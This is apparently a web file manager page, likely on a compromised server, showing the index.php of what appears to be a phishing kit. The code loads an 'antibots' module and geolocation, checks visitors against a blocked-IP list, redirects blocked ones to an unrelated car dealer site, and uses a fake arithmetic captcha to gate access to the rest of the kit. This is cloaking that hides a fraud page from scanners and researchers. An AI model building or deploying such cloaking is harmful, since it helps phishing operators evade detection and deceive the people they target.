Gestionnaire de fichiers - Editer - /home/dufoon/mtr/index.php
Arrière
<?php error_reporting(0); session_start(); require_once('./libraries/geoplugin.class.php'); include "./antibots-debug/antibots.php"; include './setting/functions.php'; include './setting/config.php'; require_once "./setting/lang.php"; $captcha_confing = captcha; if ($captcha_confing == "0"){ echo "<script> window.location = './visit.php'; </script>"; } function isBlocked($ip) { $blockedIPs = file_get_contents('./panel/blocked_ips.txt'); return strpos($blockedIPs, $ip) !== false; } // Get the user's IP address $userIP = get_client_ip(); // Check if the user's IP is blocked if (isBlocked($userIP)) { // Redirect the blocked user to another page header("Location: https://www.superhonda.com/"); exit(); } // Lang Fucntion : lang(); $random_classes = rand(0, 1000000); $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- Font Google --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700;800&display=swap" rel="stylesheet"> <!-- Css --> <link rel="stylesheet" href="./css/basic-thinks.css"> <!-- Favicon --> <link rel="icon" href="./img/favicon.gif"> <link rel="shortcut" href="./img/favicon.gif"> <link rel="appel-touch-icon" href="./img/favicon.gif"> <title><?php echo get_text('title_captcha'); ?></title> </head> <body> <div class="content"> <div class="captcha-container"> <div class="logo"> <img src="./img/logo.png" alt=""> </div> <p> <?php echo get_text('p_captcha'); ?> </p> <div class="captcha-text" id="captchaOperation"></div> <div class="p-i-a-btn"> <input type="tel" id="captchaInput" class="captcha-input" placeholder="<?php echo get_text('placeholder_captcha'); ?>"> <button class="verify-btn" onclick="verifyCaptcha()"><?php echo get_text('button_captcha'); ?></button> </div> <div id="resultMessage" class="result"><?php echo get_text('message_error_captcha'); ?></div> </div> </div> <script> const captchaInput=document.getElementById("captchaInput");captchaInput.addEventListener("input",function(){this.value=this.value.replace(/[^0-9]/g,"")});let num1,num2;function generateCaptcha(){num1=Math.floor(10*Math.random())+1,num2=Math.floor(10*Math.random())+1,document.getElementById("captchaOperation").innerText=`${num1} + ${num2} = ?`,document.getElementById("captchaInput").value=""}function verifyCaptcha(){let e=parseInt(document.getElementById("captchaInput").value),t=document.getElementById("resultMessage");e===num1+num2?window.location.href="visit.php":(t.classList.add("show-error-captcha-message"),generateCaptcha())}window.onload=generateCaptcha; </script> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Génération de la page: 0.22 |
proxy
|
phpinfo
|
Réglages